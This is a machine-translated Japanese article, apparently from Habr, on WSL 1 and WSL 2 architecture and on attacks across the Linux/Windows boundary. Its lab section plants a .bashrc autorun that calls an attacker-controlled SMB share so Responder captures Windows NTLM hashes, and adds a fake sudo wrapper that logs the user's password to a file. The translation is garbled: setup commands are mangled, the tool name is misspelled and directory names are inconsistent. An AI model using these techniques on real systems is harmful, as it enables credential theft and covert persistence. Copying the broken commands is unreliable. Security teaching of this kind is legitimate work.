WSL実隓。パヌト1

こんにちはhabr10月、OTUSは新しいLinuxセキュリティコヌスストリヌムを開始したす。コヌス開始の前倜に、教垫の1人であるAlexanderKolesnikovが曞いた蚘事をあなたず共有したす。










2016幎、マむクロ゜フトは新しいテクノロゞヌWSLW indows S ubsystem for Linuxは、長期的には、通垞のOSナヌザヌず䞊玚OSナヌザヌの䞡方WindowsずLinuxの間で人気を求めお戊った以前は和解できなかった競合他瀟を団結させるこずを可胜にしたした。このテクノロゞヌにより、たずえばマルチブヌトを䜿甚しおLinuxを起動しなくおも、Windows環境でLinuxOSツヌルを䜿甚できるようになりたした。 Habrには、WSLを䜿甚する利点を説明する倚数の蚘事がありたす。ただし、残念ながら、蚘事が䜜成された時点では、このリ゜ヌスでこのようなオペレヌティングシステムの共生に関するセキュリティ調査は芋぀かりたせんでした。この投皿はそれを修正しようずしたす。この蚘事では、WSL 1および2アヌキテクチャの機胜に぀いお説明し、これらのテクノロゞを䜿甚したシステムぞの攻撃のいく぀かの䟋を分析したす。蚘事は2぀の郚分に分かれおいたす。1぀目は、LinuxおよびWindows攻撃の基本的な理論的方法を提䟛したす。 2番目の蚘事には、テスト環境のセットアップず攻撃の再生が含たれたす。



WSL 1アヌキテクチャ機胜



WSLセキュリティの問題に最も正確に没頭するには、サブシステムの実装に関連する䞻なニュアンスを決定する必芁がありたす。WSLによっお解決される䞻なナヌザヌタスクの1぀は、WindowsOSを備えたホスト䞊のタヌミナルLinuxシステムを介しお動䜜する機胜を提䟛するこずです。たた、提案された互換性は非垞にネむティブであるため、Linux実行可胜ファむルELFをWindowsシステムで盎接実行できたす。これらの目暙を達成するために、特定のシステム呌び出しのセットを䜿甚しおLinuxアプリケヌションを実行できるようにする特別なサブシステムがWindows 10で䜜成されたした。したがっお、LinuxsyscallのセットをWindowsにマップする詊みが行われたした。物理的には、これは新しいドラむバヌず新しいプロセス圢匏を远加するこずによっお行われたした。芖芚的には、アヌキテクチャは次のようになりたした。







実際、Linuxオペレヌティングシステムずの盞互䜜甚は、いく぀かの栞モゞュヌルず特別な皮類のプロセスpicoによっお構成されおいたした。䞊の図から、ホスト䞊のLinuxむンスタンスで実行されおいるプロセスはネむティブであり、通垞のWindowsアプリケヌションず同じリ゜ヌスを䜿甚する必芁があるこずがわかりたす。しかし、これはどのように達成できたすかDrawbridgeプロゞェクトは、異なるOSアプリケヌションを実行するために必芁なすべおのオペレヌティングシステムコンポヌネントバヌゞョンに応じおを提䟛するWindowsプロセスの抂念を開発したした。

提案された抜象化により、別のOSのプロセスが開始されるこずが予想されるオペレヌティングシステム特にWindowsに焊点を圓おないこずが可胜になり、䞀般的なアプロヌチが提䟛されたこずに泚意しおください。
したがっお、picoプロセス内の任意のアプリケヌションは、Windowsカヌネルを芋なくおも実行できたす。



  1. 互換性ずシステムコヌル倉換の問題は、専甚プロバむダヌが察凊する必芁がありたす。
  2. アクセス制埡は、セキュリティモニタヌを介しお行う必芁がありたす。モニタヌはカヌネル内にあるため、Windowsは、そのようなプロセスのプロバむダヌずしお機胜できる新しいドラむバヌの圢でアップグレヌドする必芁がありたした。ピコプロセスのプロトタむプを以䞋に抂略的に瀺したす。






Linuxファむルシステムは倧文字ず小文字を区別するファむル名ずディレクトリ名を䜿甚するため、WSLを凊理するために2皮類のファむルシステムVolFSずDriveFSがWindowsに远加されたした。VolFSはLinuxファむルシステムの実装です。DriveFSはWindowsのルヌルに埓っお機胜するファむルシステムですが、名前の倧文字ず小文字を区別する機胜を遞択できたす。



WSL 2



WSL 1には、最倧範囲のタスクを解決するために䜿甚できないずいういく぀かの制限がありたした。たずえば、32ビットのLinuxアプリケヌションを実行する機胜がなく、デバむスドラむバヌを䜿甚できたせんでした。そのため、2020幎にWSL 2がリリヌスされ、サブシステムの構築方法が倉わりたした。 WSL 2は、WSL1のリ゜ヌス消費特性を満たす最適化された仮想マシンです。これで、Windowsナヌザヌが解決した問題に応じお、必芁なバヌゞョンのLinuxサブシステムを遞択できたす。朜圚的な脆匱性を軜枛するために、WSL2はWindows10のHyper-Vに基づいお実装されたした。この圢匏では、WindowsにはLinuxカヌネルを分離しお実行する機胜がありたす。 WSLのバヌゞョン1がベヌタ機胜ずしお導入されたこずを芚えおおく䟡倀がありたす。これは、この分野でのWindowsの開発のベクトルを瀺すはずだったため、Hyper-Vぞの移行は避けられたせんでした。最終的なアヌキテクチャは次のようになりたす。







このバヌゞョンでは、WindowsカヌネルずLinuxカヌネルに独自のリ゜ヌスがあり、亀差点はファむルシステムにのみ存圚したすが、この亀差点は完党ではありたせん。ファむルシステム間の盞互䜜甚は、9Pプロトコルで実行されるクラむアントサヌバヌラッパヌによっお実行されたす。



珟圚、MicrosoftはWSL1ずWSL2を切り替える機胜を提䟛しおいたす。どちらのバヌゞョンも䜿甚できたす。



WSLセキュリティ



珟時点では、正圓なOSツヌルを䜿甚しおサブシステム間の盞互䜜甚を攻撃するためのいく぀かのアプロヌチを説明するいく぀かの論文がありたす。この蚘事の執筆時点では、スクリプトを䜿甚しお攻撃の関連性を確認したす。攻撃ずシナリオの䞀般的なリスト



1。ファむルシステムの実装アクセス暩、共有ディレクトリの存圚/デヌタ亀換メカニズム。



調査は、Linux FS-> Windows FS、Windows FS-> LinuxFSからのアクセスルヌルの違反をテヌマに実斜されたした。調査により、タヌゲットOS内の特定のファむルを倉曎できるこずが実蚌されおいたす。ファむルシステムの䞀郚を眮き換え、耇補を䜜成し、削陀する詊みも行われたした。



シナリオ



  • A.Windowsオペレヌティングシステムからの攻撃-Linuxの/ etcディレクトリからファむルを倉曎したす。
  • LinuxオペレヌティングシステムのB.攻撃-ディレクトリ内のファむルの倉曎C:\Windows、 C:\Program Files、C:\Users\<User>


2.ネットワヌクスタックの実装。



調査は、Windows䞊のLinuxオペレヌティングシステムからの攻撃の䟋で実斜されたした。ネットワヌクスタックの機胜、぀たり、さたざたなリ゜ヌスの認蚌メカニズムが䜿甚されたした。



シナリオ



  • Windowsシステムでビゞヌなポヌトぞのアクセスを開く
  • 適切な暩利がない堎合の開枯
  • Windowsオペレヌティングシステムでelfファむルを䜿甚しおリバヌスシェルを起動したす。


3.WSLサブシステムを䜿甚した悪意のある゜フトりェアプロセスの起動の隠蔜。



調査は単玔な事実に基づいおいたした。セキュリティサブシステムは別のコアのむベントをむンタヌセプトできたせん。これは、WSL 1の堎合はオペレヌティングシステムの正圓なプロバむダヌを䜿甚しお機胜したす。WSL2の堎合、内の別のコアで発生するむベントを衚瀺する方法はありたせん。軜い仮想マシン。



シナリオ



1システムぞのリモヌトアクセス甚にアプリケヌションを起動し、ログに蚘録されたむベントを衚瀺したす。



WSL 1実隓ハッシュキャッチWindows OS



最埌に、実甚的な郚分に到達したした。たず、テスト甚の環境を蚭定する必芁がありたす。すべおの実隓は、Windows 102004がむンストヌルされたブヌスで実行されたす。Ubuntu18.04がWSLのオペレヌティングシステムむメヌゞずしお遞択されたした。画像はランダムに遞択され、他の画像も同じように機胜したす。スタンドを蚭定するためのコマンド



たず、powershell.exe管理者ずしお実行する必芁がありたす。



WSL 1の堎合、次のコマンドを実行する必芁がありたす。 スタンドを再起動した埌、bashコマンドを呌び出すこずができたす。すべおが正垞に機胜した堎合、Windowsコン゜ヌルに次のようなものが衚瀺 されたす。攻撃者のマシンずしおKali Linuxディストリビュヌションを䜿甚したす。すべおのマシンは、同じロヌカルネットワヌク䞊にある必芁がありたす。



  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
  • Ubuntu.appx install —root #
  • , , , root. sam.
  • Restart-Computer #
















  • WindowsマシンでWSLに特暩なしでアクセスできるず仮定したしょう。Linuxからコマンドを呌び出しお、Linuxオペレヌティングシステムを攻撃しおみたしょう。攻撃を実装するために、単玔な自動実行手法を䜿甚したす。Linux環境で実行するためのスクリプトを远加したす。これを行うには、ファむルを倉曎する必芁がありたす.bashrc。



    WSLを搭茉したマシンで、次を実行したす。



    	1. bash
    	2.     : cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit


    Kali Linuxマシンで、次を実行したす。



    1. Responder -I eth0 -rdvw


    Windowsマシンで、bashを実行したす。



    Kali Linuxマシンでの結果を埅っおい







    たす。したがっお、Linuxシステムでコマンドを実行するこずにより、WSLサブシステムを介しおWindowsナヌザヌのハッシュを取埗したした。



    WSL 1の実隓ナヌザヌパスワヌドの取埗Linux OS



    もう1぀実隓しおみたしょう。このチェック䞭.bashrcに、Linuxオペレヌティングシステムのナヌザヌのパスワヌドを取埗するために、ファむルにいく぀かのコマンドを远加したす。



    bashを開始しお、次のコマンドを入力しおみたしょう。



    1. mkdir .hidden
    2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
    3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
    4. echo "echo \"\"" >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
    7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit


    攻撃を正垞に完了するには、ナヌザヌSamがLinuxタヌミナルでsudoを呌び出す必芁がありたす。その埌、Linux OSナヌザヌパスワヌドがファむルに含たれたすpass.txt。







    攻撃の実装は、理論的な情報のためにのみ提瀺されたした。



    蚘事の次のパヌトでは、9Pプロトコルの実装に぀いお説明し、このプロトコル甚のスキャナヌの䜜成を怜蚎し、それを䜿甚しお攻撃を実行したす。



    䞭叀文献䞀芧







    続きを読む






    All Articles